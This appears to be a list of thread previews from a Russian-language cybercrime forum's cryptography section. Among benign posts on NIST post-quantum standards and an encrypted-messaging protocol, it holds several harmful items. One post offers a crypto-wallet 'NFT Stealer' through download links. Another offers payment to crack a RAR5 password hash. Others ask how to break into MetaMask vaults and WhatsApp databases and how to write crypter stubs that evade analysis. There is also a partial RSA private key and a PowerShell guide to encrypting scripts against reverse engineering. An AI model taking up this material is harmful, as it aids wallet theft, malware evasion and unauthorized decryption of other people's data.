i cant identify it online and how hard is it to bruteforce compared to a md5 hash?

TrueCrypt Setup 7.1a Original
ID: 676536fbb4103b69df373742
Thread ID: 122254
Created: 2024-09-07T17:18:11+0000
Last Post: 2024-09-08T09:31:44+0000
Author: l33tproxy
Replies: 5 Views: 801

Nowadays, many things on the Internet have been modified, and the original official version of TrueCrypt has always been safe and stable! You need to understand it yourself!

This is full disk encryption software, file encryption software. It is not malware, it is mainly for personal use to protect personal files from being stolen and cracked[.]

О криптографии всерьез. Практическое введение в современное шифрование, Жан-Филипп Омассон. [2022]
ID: 676536fbb4103b69df37381d
Thread ID: 64276
Created: 2022-03-15T08:04:31+0000
Last Post: 2022-03-15T08:04:31+0000
Author: camawe
Prefix: Мануал/Книга
Replies: 0 Views: 791

xss.jpg

[ О криптографии всерьез.pdf - AnonFiles

](https://anonfiles.com/JebavcO5xf/_pdf)

anonfiles.com anonfiles.com

Best methods to crypt files on C language use libraries or not?
ID: 676536fbb4103b69df3737b8
Thread ID: 86928
Created: 2023-04-29T13:21:32+0000
Last Post: 2023-05-01T07:34:29+0000
Author: hackertom
Replies: 3 Views: 773

I search how I crypt files on drive who is hard to decrypt, all possible solutions is to use libraries? E.g for aes 128 bit we use

#include <openssl/aes.h>

Is that correct method?

NIST стандартизировал три алгоритма постквантового шифрования
ID: 676536fbb4103b69df373748
Thread ID: 120804
Created: 2024-08-14T20:53:17+0000
Last Post: 2024-08-21T04:35:44+0000
Author: tabac
Replies: 1 Views: 767

Национальный институт стандартов и технологий США (NIST) [представил](https://www.nist.gov/news-events/news/2024/08/nist-releases- first-3-finalized-post-quantum-encryption-standards) первые три стандарта, определяющие криптоалгоритмы, стойкие к подбору на квантовом компьютере. Первый стандартизированный алгоритм (CRYSTALS-Kyber) определяет способ инкапсуляции ключей и предназначен для шифрования обмена данными, а два других (CRYSTALS-Dilithium и Sphincs+) реализуют варианты формирования цифровых подписей, которые могут использоваться для решения задач, связанных с аутентификацией. Для того, чтобы избежать путаницы стандартизированные варианты алгоритмов переименованы: CRYSTALS-Kyber в ML-KEM, CRYSTALS-Dilithium в ML-DSA, а Sphincs+ в SLH-DSA. Выбранные алгоритмы разрабатываются с 2016 года и являются победителями ранее объявленного NIST конкурса по разработке алгоритмов постквантовой криптографии.

Активно развивающиеся последнее время квантовые компьютеры кардинально быстрее решают задачи разложения натурального числа на простые множители (RSA) и дискретного логарифмирования точек эллиптической кривой (ECDSA), которые лежат в основе современных асимметричных алгоритмов шифрования по открытым ключам, эффективно не решаемых на классических процессорах. На текущем этапе развития возможностей квантовых компьютеров пока недостаточно для взлома актуальных классических алгоритмов шифрования и цифровых подписей на базе открытых ключей, таких как ECDSA, но предполагается, что ситуация [может измениться](https://www.rand.org/pubs/commentary/2023/09/when-a-quantum- computer-is-able-to-break-our-encryption.html) уже в этом десятилетии.

Принятые стандарты:

  • FIPS 203 - рассматривается как основной стандарт для шифрования данных, использующий алгоритм CRYSTALS-Kyber (ML-KEM - Module-Lattice Key-Encapsulation Mechanism) для организации обмена ключами между сторонами, выполняющими шифрование и расшифровку данных. Алгоритм CRYSTALS-Kyber использует методы криптографии, основанные на решении задач теории решёток, время решения которых не отличается на обычных и квантовых компьютерах. Достоинствами выбранного алгоритма являются относительно небольшой размер ключей и высокая скорость работы.
  • FIPS 204 - первичный стандарт для формирования цифровых подписей, основанный на алгоритме CRYSTALS-Dilithium (ML-DSA - Module-Lattice Digital Signature Algorithm), который как и CRYSTALS-Kyber базируется на теории решёток.
  • FIPS 205 - альтернативный стандарт для формирования цифровых подписей, использующий алгоритм Sphincs+ (SLH-DSA - Stateless Hash-Based Digital Signature Algorithm), который применяет методы криптографии на основе хеш-функций. Sphincs+ отстаёт от CRYSTALS-Dilithium по размеру подписей и скорости работы, но базируется на совершенно иных математических принципах, т.е. останется эффективен в случае компрометации алгоритмов на основе теории решёток.

Кроме того, до конца года планируется утвердить четвёртый стандарт - FIPS 206, предназначенный для работы с цифровыми подписями и основанный на алгоритме FALCON, который как и алгоритмы CRYSTALS-Kyber и CRYSTALS-Dilithium основан на решении задач теории решёток, но в отличие от них ориентирован на применения, в которых требуется минимальный размер подписи. Стандартизированный вариант алгоритма FALCON будет поставляться под именем FN-DSA (FFT (быстрое преобразование Фурье) over NTRU-Lattice Digital Signature Algorithm). До конца года также планируется выбрать алгоритмы для создания альтернативных стандартов общего шифрования, которые будут основаны на иных принципах работы, чем задействованные в стандарте FIPS 203 на базе алгоритма CRYSTALS-Kyber.

Phantom wallet
ID: 676536fbb4103b69df373754
Thread ID: 108953
Created: 2024-02-24T11:10:15+0000
Last Post: 2024-02-25T18:10:43+0000
Author: Mandtory
Replies: 5 Views: 765

Приветствую форумчане, интересно по поводу шифрования кошелька Phantom, раньше там был pbkdf + secretbox + энтропия, сейчас же эта связка не работает. Может кто знает что теперь под капотом?

Shielding Your PowerShell Code: Step-by-Step Encryption and Decryption
ID: 676536fbb4103b69df373743
Thread ID: 121121
Created: 2024-08-20T18:51:09+0000
Last Post: 2024-09-07T12:45:34+0000
Author: blackhunt
Prefix: Статья
Replies: 1 Views: 759

This guide will walk you through encrypting your PowerShell scripts with AES, a reliable and robust encryption standard. We’ll cover how to encrypt your script into a secure format and then decrypt it for execution. By following these techniques, you’ll be able to safeguard your scripts effectively, ensuring that only those with the correct decryption key can access and run your code. This is a fundamental skill for anyone serious about maintaining the confidentiality and integrity of their PowerShell scripts.

Part 1 :

Encrypting Your PowerShell Script with AES

Encryption is your primary line of defense. By encrypting your PowerShell script, you’re essentially turning it into a gibberish of bytes that can only be deciphered with the right key. This technique ensures that even if an adversary gets their hands on your script, it’s utterly meaningless without the decryption key. Encryption Script Breakdown

Here’s how you can securely encrypt your PowerShell script using AES (Advanced Encryption Standard), a cipher trusted by industry experts.

Let's go :
Generate AES Key and IV :

Code:Copy to clipboard

$Key = New-Object Byte[] 32
$IV = New-Object Byte[] 16
[Security.Cryptography.RandomNumberGenerator]::Create().GetBytes($Key)
[Security.Cryptography.RandomNumberGenerator]::Create().GetBytes($IV)

Key and IV Creation : We start by creating a 256-bit encryption key and a 128-bit initialization vector (IV). AES encryption relies on both a key and an IV to securely encrypt and decrypt data. The key is like the master key to a high-security vault, while the IV ensures that even identical plaintexts produce different ciphertexts each time they're encrypted.

1724178643731.png

Read the original script :

Code:Copy to clipboard

$Code = Get-Content -Path "D:\xss\xss.txt" -Raw

Loading the Script : We load the script from its file into a variable. The -Raw flag ensures that we get the entire content as a single string, preserving the script’s formatting.

1724178715418.png

Convert the code to bytes:

Code:Copy to clipboard

$CodeBytes = [Text.Encoding]::UTF8.GetBytes($Code)

Byte Conversion : Convert the script content from a string into a byte array. This transformation is crucial because encryption algorithms operate on binary data, not text.

1724178820292.png

Create AES Encryption object:

Code:Copy to clipboard

$Aes = [System.Security.Cryptography.Aes]::Create()
$Aes.Key = $Key
$Aes.IV = $IV

AES Setup : Initialize an AES encryption object and set it up with our generated key and IV. This object will handle the encryption process, ensuring our data is securely transformed into an unreadable format.

1724178863413.png

Encrypt the data:

Code:Copy to clipboard

$Encryptor = $Aes.CreateEncryptor()
$EncryptedBytes = $Encryptor.TransformFinalBlock($CodeBytes, 0, $CodeBytes.Length)

Encryption : We create an encryptor object from our AES instance and then use it to encrypt the byte array. The TransformFinalBlock method handles the actual encryption, producing a new byte array that represents our encrypted script.

1724178906858.png

Convert the encrypted data to a Base64 string for storage:

Code:Copy to clipboard

$EncryptedCode = [Convert]::ToBase64String($EncryptedBytes)

Base64 Encoding : Convert the encrypted byte array to a Base64 string. This encoding makes the binary data easier to handle and store in text files, which is especially useful when dealing with systems that don’t natively handle binary data.

1724178932201.png

Save the encrypted code, key, and IV :

Code:Copy to clipboard

$EncryptedCode | Out-File -FilePath "D:\xss\encrypted_code.txt"
[System.IO.File]::WriteAllBytes("D:\xss\key.bin", $Key)
[System.IO.File]::WriteAllBytes("D:\xss\iv.bin", $IV)

Saving : Finally, we save the encrypted script, key, and IV to files. The encrypted script goes into a .txt file, while the key and IV are saved as binary files. These files will be used later for decryption.

1724179236662.png

Part 2 :

Decrypting and Executing Your Encrypted Script
Decryption is where your script comes back to life, but only when you need it. This part of the process ensures that your encrypted script is converted back into its original, executable form—ready for action.

Read the encrypted code from file:

Code:Copy to clipboard

$EncryptedCode = Get-Content -Path "D:\xss\encrypted_code.txt" -Raw

Loading Encrypted Data : Fetch the encrypted script content from the file. This is the Base64-encoded string we saved during encryption.

1724179293041.png

Read the key and IV as byte arrays**:**

Code:Copy to clipboard

$Key = [System.IO.File]::ReadAllBytes("D:\xss\key.bin")
$IV = [System.IO.File]::ReadAllBytes("D:\xss\iv.bin")

Loading Key and IV : Retrieve the encryption key and IV from their respective files. These are crucial for decrypting the script.

1724179358228.png

Convert Base64 string back to bytes :

Code:Copy to clipboard

$EncryptedBytes = [Convert]::FromBase64String($EncryptedCode)

Base64 Decoding : Convert the Base64 string back into a byte array. This step reverses the encoding we applied during encryption.

1724179389628.png

Create AES Decryption object**:**

Code:Copy to clipboard

$Aes = [System.Security.Cryptography.Aes]::Create()
$Aes.Key = $Key
$Aes.IV = $IV

AES Decryption Setup : Initialize a new AES object for decryption and set it up with the same key and IV used during encryption. This ensures that the decryption process can correctly reverse the encryption.

1724179437569.png

Decrypt the data:

Code:Copy to clipboard

$Decryptor = $Aes.CreateDecryptor()
$DecryptedBytes = $Decryptor.TransformFinalBlock($EncryptedBytes, 0, $EncryptedBytes.Length)

Decryption : Create a decryptor object and use it to decrypt the byte array. The TransformFinalBlock method reverses the encryption, producing the original byte array.

1724179473366.png

Convert decrypted bytes back to string:

Code:Copy to clipboard

$DecryptedCode = [Text.Encoding]::UTF8.GetString($DecryptedBytes)

Byte-to-String Conversion : Convert the decrypted byte array back into a string. This is the original script, now ready to be executed.

1724179503318.png

Execute the decrypted code:

Code:Copy to clipboard

Write-Output $DecryptedCode

1724179534316.png

Securing your PowerShell scripts with AES encryption and then decrypting them for execution ensures that your code is protected from unauthorized access and tampering. By following these advanced techniques, you not only safeguard your intellectual property but also bolster your defense against reverse engineering and analysis. In the ever-evolving battlefield of cybersecurity, keeping your scripts hidden and protected is not just a strategy—it's a necessity.

Special for XSS.is
Author : blackhunt

Best Regards.

Нужна помощь с брутом RAR-архива (оплачу).
ID: 676536fbb4103b69df373737
Thread ID: 124280
Created: 2024-10-07T13:16:58+0000
Last Post: 2024-10-12T02:41:41+0000
Author: NL01
Replies: 3 Views: 757

**_Доброго времени суток!
Господа, есть нужда сбрутить защищённый RAR-архив.
Версия RAR5 (хэшмод -m 13000)
Предположительно длина пароля: 7-9 символов (но это не точно).

Вот сам ХЭШ: $rar5$16$77bd0bb2d428f4277db67300df3d055f$15$6b1785c84c4b7c88fb3c699df9950a6e$8$ac18afc7dd43d4c5

Первому, кто сбрутит оплачу 400$ в BTC (строго через гаранта).

P.s.: если есть какие-то уже подобные темы/сервисы или я не там публикую, прошу за это прощение. Укажите мне на ошибку. Дело срочное.
Спасибо за внимание!_**

Вопрос про тип шифрования
ID: 676536fbb4103b69df373872
Thread ID: 50386
Created: 2021-04-07T05:53:32+0000
Last Post: 2021-04-07T05:53:32+0000
Author: NissanGTR
Replies: 0 Views: 756

Добрый день. В мимике частенько попадаются дампы паролей такого формата:

Что с такими записями делать? Возможно глупый вопрос, но самостоятельно не нашел инфы по этому поводу. Спасибо

брутфорс zip
ID: 676536fbb4103b69df373725
Thread ID: 125974
Created: 2024-10-31T22:44:02+0000
Last Post: 2024-11-25T02:04:25+0000
Author: useuseuse
Replies: 5 Views: 747

Можно ли как то взломать пароль к zip файлу? если кто то может подсказать пишите в лс

Видеокарта для брута
ID: 676536fbb4103b69df37372d
Thread ID: 125773
Created: 2024-10-29T09:50:43+0000
Last Post: 2024-10-30T07:06:30+0000
Author: boris69
Replies: 9 Views: 744

Всем доброго времени суток. Встал выбор между карточками radeon 7900xtx и nvidia 4080 super под брут(hashcat). Знатоки подскажите пожалуйста какая из карточек будет более актуальной под это дело??

Смарт-карты и информационная безопасность
ID: 676536fbb4103b69df373821
Thread ID: 63533
Created: 2022-02-26T16:51:01+0000
Last Post: 2022-02-26T16:51:01+0000
Author: camawe
Prefix: Мануал/Книга
Replies: 0 Views: 737

xss.jpg

[ Смарт_карты_и_информационная_безопасность.pdf - AnonFiles

](https://anonfiles.com/PfW702K3xe/_pdf)

anonfiles.com anonfiles.com

Куплю информацию о актуальных эксплойтах и атаках на криптографию
ID: 676536fbb4103b69df373772
Thread ID: 99922
Created: 2023-10-12T11:21:21+0000
Last Post: 2023-11-12T09:01:57+0000
Author: castrat
Replies: 3 Views: 735

Доброго времени суток! Интересует информация о том, как ломать шифрование и хеши не через брутфорс. Возможно используя ассемблер или двоичный код. Даже готов заплатить немного за подобную инфу.

Обычные хеши можно быстро расшифровывать, создав несколько rainbowtables на миллиарды строк, а как быть с хешами, у которых динамическая соль?

Протокол безопасного и приватного обмена сообщениями
ID: 676536fbb4103b69df37371b
Thread ID: 127767
Created: 2024-11-27T21:57:01+0000
Last Post: 2024-12-15T20:21:18+0000
Author: silentlink
Replies: 11 Views: 720

Всех приветствую, представляю на суд <https://github.com/SilentLink- lab/silentlink-protocol> . Буду рад вашей конструктивной критике!

**# SilentLink — Протокол безопасного обмена сообщениями

Описание**

** SilentLink ** — это современный протокол сквозного шифрования, разработанный для обеспечения безопасного и приватного обмена сообщениями в режиме реального времени. Он ориентирован на максимальную защиту данных пользователей, используя передовые криптографические методы, включая постквантовые алгоритмы, и предоставляет функциональность для безопасных групповых чатов и поддержки нескольких устройств.

## Особенности

- Сквозное шифрование: Обеспечивает конфиденциальность сообщений от отправителя до получателя.
- Совершенная прямая секретность (PFS): Компрометация текущих ключей не раскрывает прошлые сообщения.
- Постквантовая безопасность: Использует алгоритмы, устойчивые к квантовым атакам (при использовании соответствующих библиотек).
- Поддержка нескольких устройств: Пользователь может использовать несколько устройств одновременно с безопасной синхронизацией.
- Групповые чаты: Безопасный групповой обмен сообщениями.
- Сокрытие метаданных: Реализованы методы обфускации метаданных для повышения конфиденциальности.
- Правдоподобное отрицание: Отправитель может отрицать факт отправки конкретного сообщения.
- Открытый исходный код: Проект открыт для сообщества и доступен для аудита.

**## Обновления и улучшения

Усиление механизмов аутентификации и проверки подлинности ключей**

- Цифровые подписи: Внедрены цифровые подписи с использованием алгоритма Ed25519 для аутентификации публичных ключей пользователей.
- Механизм TOFU: Реализован механизм Trust On First Use (TOFU) с уведомлениями о смене ключей, позволяющий пользователям отслеживать изменения в публичных ключах собеседников.

### Полная реализация протокола Double Ratchet

- DH-рачеты и симметричные рачеты: Полностью реализован протокол Double Ratchet, включая Диффи-Хеллмана рачеты и симметричные рачеты для обновления ключей.
- PFS и защита после компрометации: Обеспечена совершенная прямая секретность и защита после компрометации ключей.

### Защита от повторных отправок сообщений (Replay Attack)

- Отслеживание индексов сообщений: Внедрен механизм отслеживания индексов полученных сообщений для предотвращения обработки дубликатов.
- Улучшенная обработка ошибок: Добавлено подробное логирование и специфические исключения для повышения безопасности и удобства отладки.

### Обфускация метаданных

- Паддинг сообщений: Сообщения дополняются случайными данными до фиксированного размера для сокрытия реальной длины сообщений.
- Фиктивные сообщения: Периодическая отправка фиктивных сообщений для затруднения анализа трафика.
- Фиксированные интервалы отправки: Отправка сообщений через равные промежутки времени для обфускации временных меток.

### Оптимизация серверной архитектуры

- FastAPI и Redis: Сервер переписан с использованием FastAPI и Redis для повышения производительности и масштабируемости.
- Асинхронная обработка: Использование асинхронных функций и обработчиков для эффективного управления соединениями.
- Docker и Docker Compose: Контейнеризация приложения для облегчения развёртывания и масштабирования.
- Горизонтальное масштабирование: Возможность запуска нескольких экземпляров сервера и распределения нагрузки.

### Оптимизация алгоритмов и операций

- Аппаратные ускорения: Проверка и использование аппаратных ускорений для криптографии (например, AES-NI) при доступности.
- Эффективные алгоритмы: Оптимизация криптографических операций для снижения нагрузки на процессор и ускорения работы приложения.

## Установка

Примечание: Убедитесь, что у вас установлены все необходимые зависимости, включая cryptography, asyncio, fastapi, uvicorn и redis. Если вы планируете использовать постквантовые алгоритмы, установите соответствующие библиотеки, такие как pqcrypto.

### Клонирование репозитория и установка зависимостей

Code:Copy to clipboard

git clone https://github.com/SilentLink-lab/silentlink-protocol.git
cd silentlink-protocol
pip install -r requirements.txt
помогите восстановить RSA PRIVATE KEY
ID: 676536fbb4103b69df3737e9
Thread ID: 74102
Created: 2022-10-08T17:26:39+0000
Last Post: 2022-11-10T18:06:34+0000
Author: grupenfurer
Replies: 1 Views: 715

помогите восстановить RSA PRIVATE KEY
имеется часть ключа для SSH, подскажите как восстановить недостающую часть?

-----BEGIN RSA PRIVATE KEY-----
MIIG4gIBAAKCAYEA7zLaPM79ao7mxIIApv/u1S0w5s2p9CLtvPtDGdoxuZesCRJi
IEnNLDWC03KhTQr5dMffaJZ0ofcUxskCepNzDYAOkQ6xl7jC6h73Nxy+r3FnWEV9
963vOhktsK/3OLt/EZ4IBp7yWMqgg7nenbIpNrypYmLGD1BraPK0ZgsWZ9VSU9+l
2HtR313rk/uWO4PzqisNPdXa3zrIf5MMgJpSCddk+/zBvrJKT8oAsbQvAkIg04SD
7agRXksUyXqF+hWisDsELerGMEb2ais9Ulbg/1h5Ha0uP33ENg+yRngtmTXdQg0f
Kk91tPvhxlFN2aztEjpd7qY+OsX86c6vgABvkZ7THHxsXhwbvBd8CKI6lu+nASX4
M4vwQvLZ087gXVVMjJtfypFX23GXk+BZuV7Z9X84QhCVQ2zm1pa5kAh6LRYBF2oL
dy0wcgFENVbwMUAXmPlFdFj2/AhrZwX+I1c2Rc6K25oRvuVrbKd61usHWBPePfzh
ePDwh/ZvfpSMfKatAgMBAAECggGAab02IklyVyeitd2uQiTDRHN8uZrS9Xx3UeJU
8Fm3P47f2wbIX/OgAloJYkW7Ll6aldhBV2+jUXHzOkjjkqIZ6y7fwZoYQbTIXUyh
BjjrxozAHZJitBmsticpPoEbLXYdHwGYFK0w/rVcLb79vQJkG7Fcw4Rcf6qSQMuB
mdZu6imwAinMm50wPSi8midOazLShTgQ23PtFF9dAKBVl4ggmf8gwhAi6ZTRKuJm
WigH29y1vCtJUsbIHsHcB5DlJv9ml+4v2tmD0CcM8EhFNz8UCI0bf51mfbrAXYYh
RTsI892w8lQe+SlryyxKu3Y8klxo/G7/lFrD2MFtj163ayhtqDs2ynIhDdk2ktDK
cPRHOpg8mm1qvDlFv5cek81vpA8aIKmBWrN+1A5GYIGOaLrdvsHRnFvXI2NQZrnD
/8CSNKR35olfcEjB3ys5/hAWon0Jc1HVKIrJ7zpIg9DSAQtBygdY3hdPz9CTvtvQ
HBYRal6Xj8Ykwo58+iZsDnjZ8+

Кошелек Metamask web3
ID: 676536fbb4103b69df3737ea
Thread ID: 75247
Created: 2022-11-04T16:50:58+0000
Last Post: 2022-11-04T17:15:42+0000
Author: i0pht
Replies: 3 Views: 714

Как войти в кошелек Metamask, если у вас нет данных Vault (это кошелек web3), у меня есть потенциальные пароли, но я не смог найти данные Vault в .ldb или .log файле.
Я заменил файлы metamask .ldb, .log и другие файлы после загрузки кошелька metamask, и когда я снова открываю браузер, он перенаправляет меня на новую страницу, где спрашивает "Импортировать семена" или "Создать новый кошелек".
Есть ли решение для кошельков типа web3?
Я благодарен за любые советы и комментарии.

Web Based NFT Stealer And Mint Stealer
ID: 676536fbb4103b69df3737f1
Thread ID: 70101
Created: 2022-07-14T11:20:31+0000
Last Post: 2022-09-15T00:16:29+0000
Author: nakedpoet
Replies: 9 Views: 690

https://imgur.com/Czg9rFs

https://imgur.com/WuxRqc4

add your settings in \static\js\pages
add your settings in settings.js and NftMint\static\js\pages

![mega.nz](/proxy.php?image=https%3A%2F%2Fmega.nz%2Frich- file.png&hash=ce6c0b08146c0d238bfdc2b2470d7b21&return_error=1)

[ 6.32 MB file on MEGA

](https://mega.nz/file/Cll1FI7I#-6zknwGxwk0tXz6VLKxPSthVfYFWh3Ouxbw8WKDrS38)

mega.nz mega.nz

![mega.nz](/proxy.php?image=https%3A%2F%2Fmega.nz%2Frich- file.png&hash=ce6c0b08146c0d238bfdc2b2470d7b21&return_error=1)

[ 5.86 MB file on MEGA

](https://mega.nz/file/bp1EhBDI#_iBatihHSU0uqO3Fubpba2Uhw1UaMTBk0HTckEeM1KI)

mega.nz mega.nz

Разъясните отличия морфинга кода и обфускации
ID: 676536fbb4103b69df373786
Thread ID: 95094
Created: 2023-08-07T23:52:12+0000
Last Post: 2023-08-08T19:51:09+0000
Author: Ags1of
Replies: 8 Views: 684

Начал изучать криптографию и темы крипторов. Встретился с различными техниками, но главный вопрос - чем отличается морфинг исходного кода от обфускации? Поспрашивал у ГПТшки, но однозначного ответа не получил, всё очень схоже. Кто знает и может объяснить, объясните, пожалуйста, как можно подробнее и, если не впадлу, напишите, что из этого эффективнее и в каких случаях?

Брут нового метамаска
ID: 676536fbb4103b69df373721
Thread ID: 126387
Created: 2024-11-06T20:58:26+0000
Last Post: 2024-12-02T20:44:40+0000
Author: nikitos2
Replies: 2 Views: 679

Может у кого то завалялся брут нового метамаска на go?

акира байпассер- ложный криптор?
ID: 676536fbb4103b69df37379c
Thread ID: 91146
Created: 2023-06-22T18:12:38+0000
Last Post: 2023-06-23T04:45:25+0000
Author: foodTheory
Replies: 4 Views: 679

Знаете ли о службе akira.red?
Я недавно видел посты о нем и решил проверить. Независимо от размера лоадера, их криптор выдал файл от 8,3 до 8,5 мб. после того, как я проверил его с помощью wireshark, vm и пе, зашифрованный build.exe убивал wireshark. во время установления малвари он контактировал со многими ипами, ни один из которых не был моим ц2, а когда все закончилось, у меня не было коннекта, но они установили малварь на vm. это akira crypt - скам?

__https://twitter.com/x/status/1671411633732698116

View attachment 59650
akira.png
akira1.pngakira2.png

Как пишется стаб? [C#]
ID: 676536fbb4103b69df3737b9
Thread ID: 87014
Created: 2023-04-30T21:50:10+0000
Last Post: 2023-04-30T21:50:10+0000
Author: Ags1of
Replies: 0 Views: 676

Всем привет, начал вливаться в сферу криптографии, прочитал достаточно много теории, но, на практике пока ничего не пробовал. Подскажите или приведите примеры, пожалуйста, как пишутся стабы со сложной логикой? В чём проявляться, как раз, эта "сложность" логики стаба?

Ключ дешифровки WhatsApp Windows
ID: 676536fbb4103b69df37372c
Thread ID: 105928
Created: 2024-01-16T00:24:56+0000
Last Post: 2024-10-31T16:17:38+0000
Author: deepdarkfantasy
Replies: 7 Views: 674

Столкнулся с необходимостью дешифровки бд Whatsapp на Windows. В них хранятся контакты и сообщения. Если в случае с Signal, ключ просто лежит и ждет, пока его найдут, поиски ключа к whatsapp не привели ни к чему, искал в реестре, во всех возможных файлах, все пусто, никаких следов. Кто сталкивался с подобной проблемой и может быть нашел решение? Аналогично с Viber.

Подскажите чем можно расшифровать
ID: 676536fbb4103b69df373848
Thread ID: 56928
Created: 2021-09-21T15:06:30+0000
Last Post: 2021-10-17T09:18:51+0000
Author: suproom
Replies: 17 Views: 673

0070df190fe9456c64b21716145480726b5ad2e4b2994a48bfcc4a7359da28b3
008396e07e623c7ee5dc1b028a48814a997d9d7e1912fb25a94835dffd88cf72
00e1fecf614b5270bb12519da85ff7f5b746ac598f2a63e1f2b18783378b6c23
00fe0e109984fb7a161c9def5eeef20f9baacec5e21c55d22f22deef4c10dc46
0111a467d18147aa41a3c7b25cc13d01d4cc2ce806f6f469fd5e20d761bac0e2
015996687f4e771c9d44f1771adfdee3aa433d697afcedddba5a57366c25b8ad
0162fd008b81f56a620cc658ad4817ba0667a05cdeb057913bdc1e669b89a3b4
01cc86ba842986137c99ab1210fc7d1722fd3671b355098712ef49246a729a71
028117919cac404dbeb8f10f0e44e0ffdd4f366fed38e2a4ac83e3e2583d1bed
034041bff09b71a505cf349bc5d8507f27264f9fe1448870584c31cf7497e41c
03a4690814168c6041d4edcf74f199c91c5b2c1ce2057b63cf3fba5da37df794
03d1136bd38e08462c00681efcc33348fa6605c84dfa11f5cbec5e1b9be451a3
03ecbdee29a7a3cc28195c0a45661b0434c2650f8bb23cde36170e3bf1cf9fb0
03fce5c6a7c8b9906eb6bc6ce2fcae314d48dc0b876e1fed04fa7eea20768d46
0534383c5eecad3ab63a63d3a10c0e17c6f9306e67e97b354e97d0d9804bc83e
053892a314b2bcb46d7549cf0d4048a75936b174ce791d0f65fa22c73c45d74f
054c3d73faab24a4ca8d35fdae0b8cebadde097b4a8901c5c98eda4a6291dda0
056c71dfa28d5738aca1ab9c2a879e6c11d7e501848bd0a56c810753f61d486c
05a18d52f50409a1db7b1e4dfb918ab822aa94657a6a9d812ed463d07b393ec6
05b1cfde4f744aad7aafb61c02e9c6891283802d8b0cccdaed8b860dc70238ca
063ae57d464c725b68e52533e706958d7c13c4478f25a30310f5ae956f1c03f4
068bd702bc0188a2410a4d24b9e65bd889b35352973f3360ecf2e5d1cd18af9d
06fd1e2c049464f80a869de205f1f474b549957ee60312f212e6f169c05b2e59
074f116eef6d968d75c930c131247c8fc7db03729422b1d58ebc69f8f575e836
07c136c058b52b9ff103114cda4464dbf4197324fd41b822fedea130a5c36e5a
083265f8ae1fd6c19faa6a266bdda2c6444410b87349e83efecae8e0289a7e03
083e0df6857898f3669e847761151410f80f8d1ecfd2dc3eba16350703dec6a2
08844f00ddbda0ef722505b6af21fcde6335b61de90ce7a214944952bb548fac
0895f57bfe15bcddd9e9eb162da427d2bdee5e2734ac4f901869e13de56da9ac
089a5516994b017485994fd20577805c7dab673de2fe10ddbba69693999f4019
08eeb69d962383aef97e39ab694e129d49cb59ff65ed306d08367c67e734288e
0948046a3686ec4f64e73a524ad9135495caefc1b213d9feb3c74ab03589c91b
0960392bda2ca11bd35e21c8945dd17bf1c6ebb7020914c4ab46ac29b0e3eadc
09932815b3e6270f52a03d9581d1cd17d4a5e36e1da45baf1854e93d1bb98aab
0a46168f410a47c1a3a7c43614cb5fc1606fae42980da380525c36874b041321
0a956ad26664474be090995e1b1dc54782c47e367f3491ff49e1350fec73a6ac
0ab15a1481a6e209730bba4455dc8b168c759ce6f607fdc9dc5276784a0a9760
0b8190c42e34ede33c919dc532d1536e34e04f03f6e2c1985ab7dab5bc97d03e
0b836bed0c9bf14f14a6885ef439d2b5b6b81aed3c3fe4bfbc08e98a6bf22d9a
0b91f848a2652042e9f2cf7a6f4d7e1dbc2ee54a8190cd897a798abf9bf02edf
0c7072c54481912a2bbc28ca0bdea694484b504e3849da614dae8d3e0f78de4b
0d0b2b3819f8d02f1c0a147b9ca56d9643b14b86ba7bf648611e07076ca958ed
0d2103d128ce8784674c54688ae1eeac2e39743a329c02d19484f60279da2b3f
0de50e8724abfaab08707fa161141927779372d459551d9347167dddbfbd2f60
0e84569eaf691488bc69c1e0360fd0989c1110c8b58532f37ac4547c3dde1de3
0edc8e10e86bff4e0a5be97243b336dcc0e8f725805e0b54236a662490239d23
0f20db41125cb6db2c618caf099b2aa01e7304b941d9dc3f8adc8a4d9aee677f
107f640f576d4e090bc385c5d006c56f28c93bea70ef3a0eceb8660cf6808a3e
10ab9a745e57060003ec51608b7391d5a7f8d8eb461e755882183062d187700f
10c3fe78a217daf13df7e603f6a7db440c511aaa292601df9be68696ec96b24c
10d98cbf35bd317e9dfd0b91b8c972db6c7785edd792b1d26c9a22a64ea3780d
10de4395fc67a9a6f87e6f16b7aaa38716df0b49ef37a897c54648e7d4bbce7a
114a1228df23ecb8e25a3689f3da5aa0a0ab3eebe33f82f54ff2b44eab0d75bc
11dc79631fe83ae1dd376826cb8988174af965d5f75316e5937456d8c2a272fc
129840923d5d65163b5f66a3c068321f806c57bb9fa1e9b3898e6aae411b6121
129fbb35f7ec13e89cee5f6351e387f06e26b3b0ee053942f7be011c7e927293
12f20b6835fe98b224a44202b7b6589de0d070c1eacf04bec496a76494249cdf
1315a5c5f48ac49190b19e3092022227b866a6b5eead185a94639d5b93f08196
131cbabe3b2ac3acce4081487e1f2d084f0223fa2c352869a4f517e59a0b0ac1
138d7fe2d59e68986d3c69a77d67326dfb7dd648486bbcbd2416b1f610bf62bb
1454b2d815e2b881fa69a5d977cb03599d0bd55d114716d5faf7c3320bdbe0cc
1474033a8109ffc6a00a88aaddca30061473ba74afa3a938318f6c3d84ea3f92
14edab6304080d69b7ad2b57b7fe977262a39db57ca32a60559865f61d14b73d
14fa2f59873961d8f6d161ee1c173ba064f4bda23ea3916645135ff678421f55
15091c3240d13d03ea1af92d0fa9b787e507b3a7ee2ea54310b815a3b7d253fc
1537d5c1560f6aafc791583905d7a477a4225a7a06ab19d9c87494c92cdacb13
153d81ac8b00fb4d00d984c0aff2d13d19efee21c328e3020ab5f6e237a222b1
15606af676635e5ec802cc27c05123ada5e3afb69e5a73884d68c367da91b41e
1565d75c0bd1b403e5ae664609edd23ca073381f201ea028e79ead3be0213c04
1573b2ee5e2eb87aa6231ac967c58b4cd62457aab4089746337678af102122ee
166b0bcd07c1b4d9b34bcc9c03f57253ef5d226fe9772f9b824ea6f4187a4cc3
16ca872f95d34cee602bf9e82830bc331a7bc81c025c2bde80525bd12bf2d25a
16d5f5597e17038479be19fcfd885415c271e59a4c00afde3fe360431e56a0f8
16e0f116b9cb64f0394e331ec04af0b30ebc2cd0e2adca2343db15cbdf831030
16fc0b82771e1a08601219f2e25a9ccffaa8da03f9f3033b423bbdbe46db4e59
17aba967533e271d0563c149bd3cab9e47f08342343324010c63dd1069543c53
182a2235ba3ad0f2438a690425f22fafd2f34353cf72c7f9918af733968b8fc2
18d8506859d8afa8e16d5e455e14be99925747d621da1dd95c95e66c5b0e52f0
192f4a4117ad03c98dee79ffd4c818018bee6972dce6dd2331942f48f401d5ba
1945585b68a62da11465aa24e857600e99022fdd9cc1ffc6adc32bf8987999f3
194db679df07bc1219137ebc47f536d37f840d3dda90960075b445fb40cdb30a
